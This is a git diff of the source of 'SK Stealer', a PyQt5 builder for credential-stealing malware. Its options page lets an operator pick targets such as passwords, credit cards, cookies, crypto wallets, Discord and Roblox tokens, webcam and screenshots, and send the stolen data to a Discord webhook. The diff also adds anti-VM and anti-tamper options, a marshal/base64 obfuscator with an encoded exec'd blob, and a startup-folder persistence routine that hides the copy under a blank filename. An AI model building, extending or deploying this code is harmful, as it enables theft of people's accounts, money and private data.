self.build_window = BuildLogBox(self) + self.build_window.show() + + # Log inicial + self.build_window.add_log("Starting build...") + self.build_window.add_log(f"Webhook: {webhook}") + self.build_window.add_log(f"File: {filename}{filetype}") + self.build_window.add_log(f"Payloads: {selected}") + self.build_window.add_log("") + + full_path = f"output/{filename}" + + # Cria e configura thread de build + self.build_thread = BuildThread( + compress=True, + webhook_url=webhook, + selected_payloads=selected.copy(), + file_name=full_path, + file_type=filetype.replace(".", ""), + file_icon_path=icon + ) + + # Conecta sinais + self.build_thread.log_signal.connect(self.build_window.add_log) + self.build_thread.finished_signal.connect(self.on_build_finished) + + # Desabilita botão durante build + self.build_button.setEnabled(False) + self.build_button.setText("Building...") + + # Inicia thread + self.build_thread.start() + + def on_build_finished(self, success, message): + """Chamado quando o build termina""" + self.build_window.add_log("") + self.build_window.add_log(message) + self.build_window.finish() + + # Reabilita botão + self.build_button.setEnabled(True) + self.build_button.setText("Start Build") + + # Limpa thread + self.build_thread = None \ No newline at end of file diff --git a/src/pages/message_box.py b/src/pages/message_box.py new file mode 100644 index 0000000..e147bb2 --- /dev/null +++ b/src/pages/message_box.py @@ -0,0 +1,106 @@ +from PyQt5.QtWidgets import ( + QMainWindow, QWidget, QVBoxLayout, QHBoxLayout, + QLabel, QPushButton, QFrame +) +from PyQt5.QtCore import Qt, QPoint +from PyQt5.QtGui import QFont, QIcon +from src.styles import MAIN_STYLE, TOPBAR_STYLE, close_btn_style + + +class CustomMessageBox(QMainWindow): + def __init__(self, icon: str, title: str, message: str): + super().__init__() + self.setWindowIcon(QIcon("./logos/sk_logo.png")) + self.setWindowTitle(title) + self.setWindowFlags(Qt.FramelessWindowHint | Qt.WindowStaysOnTopHint) + self.setGeometry(500, 250, 300, 150) + self.setStyleSheet(MAIN_STYLE) + self.setAttribute(Qt.WA_TranslucentBackground, False) + + self.dragging = False + self.offset = QPoint() + + main_widget = QWidget() + main_layout = QVBoxLayout() + main_layout.setContentsMargins(0, 0, 0, 0) + main_layout.setSpacing(0) + + top_bar = self.create_top_bar(icon, title) + + body = QFrame() + body_layout = QVBoxLayout() + body_layout.setContentsMargins(20, 20, 20, 20) + + msg_label = QLabel(message) + msg_label.setWordWrap(True) + msg_label.setAlignment(Qt.AlignCenter) + msg_label.setStyleSheet("color: #eee; font-size: 13px;") + + ok_button = QPushButton("OK") + ok_button.setStyleSheet(""" + QPushButton { + background-color: #ff4444; + color: white; + border-radius: 6px; + padding: 6px 14px; + } + QPushButton:hover { + background-color: #ff6666; + } + """) + ok_button.clicked.connect(self.close) + + body_layout.addWidget(msg_label) + body_layout.addWidget(ok_button, alignment=Qt.AlignCenter) + body.setLayout(body_layout) + + main_layout.addWidget(top_bar) + main_layout.addWidget(body) + + main_widget.setLayout(main_layout) + self.setCentralWidget(main_widget) + + def create_top_bar(self, icon: str, title: str): + top_bar = QFrame() + top_bar.setFixedHeight(35) + top_bar.setStyleSheet(TOPBAR_STYLE) + + top_bar.mousePressEvent = self.mousePressEvent + top_bar.mouseMoveEvent = self.mouseMoveEvent + top_bar.mouseReleaseEvent = self.mouseReleaseEvent + + top_layout = QHBoxLayout() + top_layout.setContentsMargins(15, 0, 10, 0) + top_layout.setSpacing(10) + + icon_label = QLabel(icon) + icon_label.setStyleSheet("color: #ff4444; font-size: 16px;") + + title = QLabel(title) + title.setFont(QFont("Segoe UI", 10, QFont.Bold)) + title.setStyleSheet("color: #e0e0e0;") + + top_layout.addWidget(icon_label) + top_layout.addWidget(title) + top_layout.addStretch() + + btn_close = QPushButton("🔴") + btn_close.setStyleSheet(close_btn_style) + btn_close.clicked.connect(self.close) + + top_layout.addWidget(btn_close) + top_bar.setLayout(top_layout) + return top_bar + + + def mousePressEvent(self, event): + if event.button() == Qt.LeftButton: + self.dragging = True + self.offset = event.globalPos() - self.frameGeometry().topLeft() + + def mouseMoveEvent(self, event): + if self.dragging: + self.move(event.globalPos() - self.offset) + + def mouseReleaseEvent(self, event): + self.dragging = False diff --git a/src/pages/options_page.py b/src/pages/options_page.py new file mode 100644 index 0000000..570cf5a --- /dev/null +++ b/src/pages/options_page.py @@ -0,0 +1,151 @@ +import re + +from PyQt5.QtWidgets import ( + QWidget, QVBoxLayout, QHBoxLayout, QLabel, + QCheckBox, QGroupBox, QScrollArea, QLineEdit, QPushButton +) +from PyQt5.QtCore import Qt +from PyQt5.QtGui import QFont + +from src.styles import webhook_group_style, SCROLL_STYLE +from src.pages.message_box import CustomMessageBox +from src.functions.tools import Tools + +class OptionsPage(QWidget): + def __init__(self): + super().__init__() + self.init_ui() + + def init_ui(self): + main_layout = QVBoxLayout() + main_layout.setContentsMargins(30, 30, 30, 30) + + title = QLabel("Stealer Configuration") + title.setFont(QFont("Segoe UI", 18, QFont.Bold)) + title.setStyleSheet("color: #ff4444; margin-bottom: 10px;") + + webhook_group = QGroupBox("Webhook Configuration") + webhook_group.setStyleSheet(webhook_group_style) + + webhook_layout = QHBoxLayout() + webhook_layout.setContentsMargins(15, 20, 15, 15) + + self.webhook_input = QLineEdit() + self.webhook_input.setPlaceholderText("Enter webhook URL...") + self.webhook_input.setMinimumHeight(35) + + test_btn = QPushButton("verify") + test_btn.setObjectName("testButton") + test_btn.setFixedSize(80, 35) + test_btn.clicked.connect(self.check_webhook) + + webhook_layout.addWidget(self.webhook_input) + webhook_layout.addWidget(test_btn) + webhook_group.setLayout(webhook_layout) + + scroll = QScrollArea() + scroll.setWidgetResizable(True) + scroll.setStyleSheet(SCROLL_STYLE) + + + scroll_content = QWidget() + scroll_layout = QVBoxLayout() + scroll_layout.setSpacing(20) + + stealer_group = self.create_checkbox_group( + "Stealer Options", + [ + "System Info", "Credit Cards", + "Game Launchers", "Passwords", "Extensions", + "Wallets", "Cookies", "Files", + "Apps", "History", "Webcam", + "Roblox Cookies", "Downloads", "Screenshot", + "Discord Tokens" + ] + ) + + malware_group = self.create_checkbox_group( + "Malware Options", + [ + "Anti VM/Debug", + "Anti-Tamper", + "Startup", + ] + ) + + scroll_layout.addWidget(stealer_group) + scroll_layout.addWidget(malware_group) + scroll_layout.addStretch() + + scroll_content.setLayout(scroll_layout) + scroll.setWidget(scroll_content) + + main_layout.addWidget(title) + main_layout.addWidget(webhook_group) + main_layout.addWidget(scroll) + + self.setLayout(main_layout) + + def create_checkbox_group(self, title, options): + group = QGroupBox(title) + group.checkboxes = [] + group.setStyleSheet(""" + QGroupBox { + font-size: 14px; + font-weight: bold; + color: #ff4444; + border: 1px solid #2a2a2a; + border-radius: 6px; + margin-top: 10px; + padding-top: 15px; + } + QGroupBox::title { + subcontrol-origin: margin; + left: 10px; + padding: 0 5px; + } + """) + + layout = QVBoxLayout() + layout.setContentsMargins(15, 20, 15, 15) + layout.setSpacing(12) + + grid_layout = QHBoxLayout() + columns = [QVBoxLayout() for _ in range(3)] + + for i, option in enumerate(options): + checkbox = QCheckBox(option) + group.checkboxes.append(checkbox) + columns[i % 3].addWidget(checkbox) + + for col in columns: + col.addStretch() + grid_layout.addLayout(col) + + layout.addLayout(grid_layout) + group.setLayout(layout) + + return group + + def get_selected_options(self): + selected = [] + for group in self.findChildren(QGroupBox): + if hasattr(group, "checkboxes"): + for cb in group.checkboxes: + if cb.isChecked(): + selected.append(cb.text()) + return selected + + def check_webhook(self): + webhook_url = self.webhook_input.text().strip() + pattern = r"^https:\/\/discord\.com\/api\/webhooks\/\d+\/[\w-]+$" + if not re.match(pattern, webhook_url): + box = CustomMessageBox("😈", "Error", "Invalid Discord Webhook!") + box.show() + return + + r = Tools.send_webhook(webhook_url) + if r[0]: + box = CustomMessageBox("😈", "Successfully", r[1]) + box.show() + return diff --git a/src/pages/splash.py b/src/pages/splash.py new file mode 100644 index 0000000..503c7f1 --- /dev/null +++ b/src/pages/splash.py @@ -0,0 +1,53 @@ +from PyQt5.QtWidgets import QLabel, QVBoxLayout, QWidget, QGraphicsOpacityEffect +from PyQt5.QtGui import QFont +from PyQt5.QtCore import Qt, QPropertyAnimation, QEasingCurve, QTimer +from src.styles import MAIN_STYLE + +class SplashScreen(QWidget): + def __init__(self): + super().__init__() + self.setWindowFlags(Qt.FramelessWindowHint | Qt.WindowStaysOnTopHint) + self.setAttribute(Qt.WA_TranslucentBackground) + + self.setGeometry(95, 50, 1100, 620) + + # Container + layout = QVBoxLayout(self) + + # Fundo estiloso + self.setStyleSheet(MAIN_STYLE) + + # Texto + self.text = QLabel("SK Stealer by @CirqueiraDev") + self.text.setAlignment(Qt.AlignCenter) + self.text.setFont(QFont("Segoe UI", 16, QFont.Bold)) + + layout.addWidget(self.text) + + # Fade effect + self.opacity_effect = QGraphicsOpacityEffect(self) + self.setGraphicsEffect(self.opacity_effect) + + self.anim = QPropertyAnimation(self.opacity_effect, b"opacity") + self.anim.setDuration(300) + self.anim.setStartValue(0) + self.anim.setEndValue(1) + self.anim.setEasingCurve(QEasingCurve.InOutQuad) + + self.anim.finished.connect(self.fade_out) + + def start(self): + self.show() + self.anim.start() + + def fade_out(self): + QTimer.singleShot(1200, self._start_fade_out) + + def _start_fade_out(self): + self.anim2 = QPropertyAnimation(self.opacity_effect, b"opacity") + self.anim2.setDuration(1000) + self.anim2.setStartValue(1) + self.anim2.setEndValue(0) + self.anim2.setEasingCurve(QEasingCurve.InOutQuad) + self.anim2.finished.connect(self.close) + self.anim2.start() diff --git a/src/styles.py b/src/styles.py new file mode 100644 index 0000000..8b85d18 --- /dev/null +++ b/src/styles.py @@ -0,0 +1,236 @@ +control_btn_style = """ + QPushButton { + text-align: center; + background-color: transparent; + color: #999; + border: none; + font-size: 11px; + font-weight: bold; + padding: 0px; + min-width: 45px; + max-width: 45px; + min-height: 35px; + max-height: 35px; + } + QPushButton:hover { + background-color: #1a1a1a; + color: #fff; + } +""" + +close_btn_style = """ + QPushButton { + text-align: center; + background-color: transparent; + color: #999; + border: none; + font-size: 11px; + font-weight: bold; + padding: 0px; + min-width: 45px; + max-width: 45px; + min-height: 35px; + max-height: 35px; + } + QPushButton:hover { + background-color: #ff4444; + color: #fff; + } +""" + +webhook_group_style = """ + QGroupBox { + font-size: 14px; + font-weight: bold; + color: #ff4444; + border: 1px solid #2a2a2a; + border-radius: 6px; + margin-top: 10px; + padding-top: 15px; + } + QGroupBox::title { + subcontrol-origin: margin; + left: 10px; + padding: 0 5px; + } +""" + +SCROLL_STYLE = """ + QScrollArea { + border: none; + } + + QScrollBar:vertical { + background: #181818; + width: 8px; + margin: 0px; + border-radius: 4px; + } + + QScrollBar::handle:vertical { + background: #ff4444; + min-height: 25px; + border-radius: 4px; + } + + QScrollBar::handle:vertical:hover { + background: #ff6666; + } + + QScrollBar::up-arrow:vertical, QScrollBar::down-arrow:vertical { + width: 0; + height: 0; + background: none; + border: none; + } + + QScrollBar::sub-line:vertical, QScrollBar::add-line:vertical { + height: 0px; + background: none; + border: none; + } + + QScrollBar::add-page:vertical, QScrollBar::sub-page:vertical { + background: none; + } +""" + +TOPBAR_STYLE = """ + QFrame { + background-color: #0a0a0a; + border-bottom: 1px solid #1a1a1a; + } +""" + +SIDEBAR_STYLE = """ + background-color: #0f0f0f; + border-right: 1px solid #1a1a1a; +""" + +MAIN_STYLE = """ + QWidget { + background-color: #0a0a0a; + color: #e0e0e0; + font-family: 'Segoe UI'; + } + QPushButton { + background-color: transparent; + border: none; + color: #bbb; + font-size: 14px; + padding: 12px 16px; + text-align: left; + border-radius: 4px; + } + QPushButton:hover { + background-color: #1a1a1a; + color: #ff4444; + } + QPushButton#active { + background-color: #1a1a1a; + color: #ff4444; + border-left: 3px solid #ff4444; + } + QLabel { + font-size: 14px; + } + QCheckBox { + color: #e0e0e0; + font-size: 13px; + spacing: 8px; + } + QCheckBox::indicator { + width: 18px; + height: 18px; + border: 2px solid #ff4444; + border-radius: 3px; + background-color: transparent; + } + QCheckBox::indicator:checked { + background-color: #ff4444; + border: 2px solid #ff4444; + } + QCheckBox::indicator:hover { + border: 2px solid #ff6666; + } + QLineEdit { + background-color: #1a1a1a; + border: 1px solid #2a2a2a; + border-radius: 4px; + padding: 8px; + color: #e0e0e0; + font-size: 13px; + } + QLineEdit:focus { + border: 1px solid #ff4444; + } + QComboBox { + background-color: #1a1a1a; + border: 1px solid #2a2a2a; + border-radius: 4px; + padding: 8px; + color: #e0e0e0; + font-size: 13px; + } + QComboBox:hover { + border: 1px solid #ff4444; + } + QComboBox::drop-down { + border: none; + padding-right: 8px; + } + QComboBox::down-arrow { + image: none; + border-left: 5px solid transparent; + border-right: 5px solid transparent; + border-top: 5px solid #ff4444; + } + QComboBox QAbstractItemView { + background-color: #1a1a1a; + border: 1px solid #2a2a2a; + selection-background-color: #ff4444; + color: #e0e0e0; + } + QPushButton#buildButton { + text-align: center; + background-color: #ff4444; + color: white; + font-size: 14px; + font-weight: bold; + padding: 12px 24px; + border-radius: 6px; + } + QPushButton#buildButton:hover { + + background-color: #ff6666; + } + QPushButton#buildButton:pressed { + background-color: #cc3333; + } + QPushButton#iconButton { + background-color: #1a1a1a; + border: 1px solid #2a2a2a; + color: #bbb; + padding: 8px; + border-radius: 4px; + } + QPushButton#iconButton:hover { + border: 1px solid #ff4444; + color: #e0e0e0; + } + QPushButton#testButton { + background-color: #00aa44; + color: white; + font-size: 13px; + font-weight: bold; + padding: 10px 20px; + border-radius: 4px; + } + QPushButton#testButton:hover { + background-color: #00cc55; + } + QScrollArea { + border: none; + background-color: transparent; + } +""" \ No newline at end of file diff --git a/src/test/blob.py b/src/test/blob.py new file mode 100644 index 0000000..6240e46 --- /dev/null +++ b/src/test/blob.py @@ -0,0 +1,8 @@ + +import base64, marshal +import zlib +a='eJy9VE1oG0cUnv3TjrRaJbH14/64DkqioIJEDqnB4KYYF6uhiePGTR0Xt2ajWf248q7YXUWykYoPKYg0EBMCNv2hojiuiy89BnoJvfSqFQsSA4ZAyKE3QS4ml3ZWtlVJVSjuoQP7ZnjzvW++efPePgMdgzqcX7iJ2QAI3AGfAkTNgjAd78RB8jE27jemhaNKwAmMDsDSEROo0KDPMBwdWPZohejX2t5twrDbZilRRarC9WNCTDdSYxBbopXAK/FcD55GjhKN+CL9LfieLjFdytrrCt+XC/ZwvfuKHMB+0Z3YirMvv7ObH7mQgNxIRJ5tomy3ra7EKr8eS/eJHt3v/VfdHVhX35NO9tzgFBrYJjWzy3Ro/+xY2gd7tF/637R7ka9X+3HOLrJFZpt0w267I0qc4f97v+LuG0UVue4oqrtyxL5RHPL3RhXBLDhDZrtb54HCFJh5kKdsbzgwPfWHDVplo3JBxgwxq0w0u4Lp7ErObs9nX21FMZNPK5ifmJl5f+LjCey8mo5rqq4mDMzPpRWk5vVV16whacbpq7KSw3BGU5OatKxjvuXNZbEDSRrheEl9ifkr6VuapK1g9xUpp8RTE0lZMXTMZdJKrrDKR+OqkkgnsVPKGapuh6f/JOkNezCt6pjNSkYK89ItvbVg9BXik7TkbQxlBen5NHHCbEYyEqq2jF2t+AMvu6SSOziSsiErt7FLLmQlBeV0WcMOPZUz0hnMxlVyby6eWlZR2IF5/VC7M5HOyIsH58kFA0NFzi8q0rKMHQk1gwiDaG8u2m4bqtt1fLo1sKBJxEmuaacULh5SaufBwR9X/5rYNdDwDK7FmmyAE/e8/oexjWsPrj2a3Ppg56OtD03vBct7oex8KnjrwnBNGN5MmMI5SzjXBIwz0BgIlCfLkw3RXxdHauJIhTPFkCWGmoCyN/3lyaeDI5tn1sfXx8vwueC5N14XgjUhWHnHFMKWEG4CzjlL7fkCD+c2Fh4sPAr+FP4xvHPZDI5awdHHwpP56sxC9fNUdUk3fYblM8pT5ak98eS9hbp4tiaerdw0xaglRm0tXTRb5+vBi7XgxV9mzeCYFRx7PPZEMX03LN+NXoY5U4xYYsQW/G8MX5i+65bvOokfev07/gf3N+7KJzs3zaFRa2i0LD6HnvvCXWH98mbJhBELRqowsgdd9+FduD5M8gJDFgxVYahxwl/27DdpmhPt7PEN6C6z+/v7DWFgbVq3G/FO7FTMD373s7E3mekw1Xqsn8ELu0u0EDEv4TipkFxGvqS9ffSObxHTZCiKatJvUINN8E+jhQnkLz9fiFs=' +b=base64.b64decode(a) +b=zlib.decompress(b) +c=marshal.loads(b) +exec(c) diff --git a/src/test/obfuscation.py b/src/test/obfuscation.py new file mode 100644 index 0000000..5e21087 --- /dev/null +++ b/src/test/obfuscation.py @@ -0,0 +1,52 @@ +# pyinstaller --onefile --noconsole --icon=app.ico --add-data "config.json;." main.py + +import argparse +import base64 +import marshal +import zlib +import sys +from pathlib import Path + +LOADER_TEMPLATE = ''' +import base64, marshal +{decompress_import} +a={b64!s} +b=base64.b64decode(a) +{maybe_decompress} +c=marshal.loads(b) +exec(c) +''' + +def obfuscate_file(input_path: Path, output_path: Path, compress: bool = False): + src = input_path.read_text(encoding="utf-8") + code_obj = compile(src, str(input_path), "exec") + + data = marshal.dumps(code_obj) + + if compress: + data = zlib.compress(data) + b64 = base64.b64encode(data).decode("ascii") + loader = LOADER_TEMPLATE.format( + b64=repr(b64), + decompress_import="import zlib" if compress else "", + maybe_decompress="b=zlib.decompress(b)" if compress else "" + ) + output_path.write_text(loader, encoding="utf-8") + print(f"Ofuscado gerado: {output_path} (compress={compress})") + +def main(): + p = argparse.ArgumentParser(description="Ofusca um arquivo .py usando marshal+base64 (opção zlib).") + p.add_argument("input", help="Arquivo .py de entrada") + p.add_argument("-o", "--output", help="Arquivo .py de saída (padrão: ofuscado_)") + p.add_argument("--compress", action="store_true", help="Aplicar zlib.compress antes do base64 (recomendado)") + args = p.parse_args() + + inp = Path(args.input) + if not inp.exists(): + print("Arquivo de entrada não encontrado:", inp, file=sys.stderr) + sys.exit(2) + out = Path(args.output) if args.output else inp.with_name(f"ofuscado_{inp.name}") + obfuscate_file(inp, out, compress=args.compress) + +if __name__ == "__main__": + main() diff --git a/src/test/raw_func.py b/src/test/raw_func.py new file mode 100644 index 0000000..57e9744 --- /dev/null +++ b/src/test/raw_func.py @@ -0,0 +1,28 @@ +def _startup(): + startup = False + + try: + file_path = os.path.abspath(sys.argv[0]) + + if file_path.endswith(".exe"): + ext = "exe" + elif file_path.endswith(".py"): + ext = "py" + + new_name = f"ㅤ.{ext}" + + if sys.platform.startswith('win'): + folder = os.path.join(os.getenv('APPDATA'), 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup') + elif sys.platform.startswith('darwin'): + folder = os.path.join(os.path.expanduser('~'), 'Library', 'LaunchAgents') + elif sys.platform.startswith('linux'): + folder = os.path.join(os.path.expanduser('~'), '.config', 'autostart') + path_new_file = os.path.join(folder, new_name) + + shutil.copy(file_path, path_new_file) + os.chmod(path_new_file, 0o777) + return startup + except: + startup = False + pass + return startup \ No newline at end of file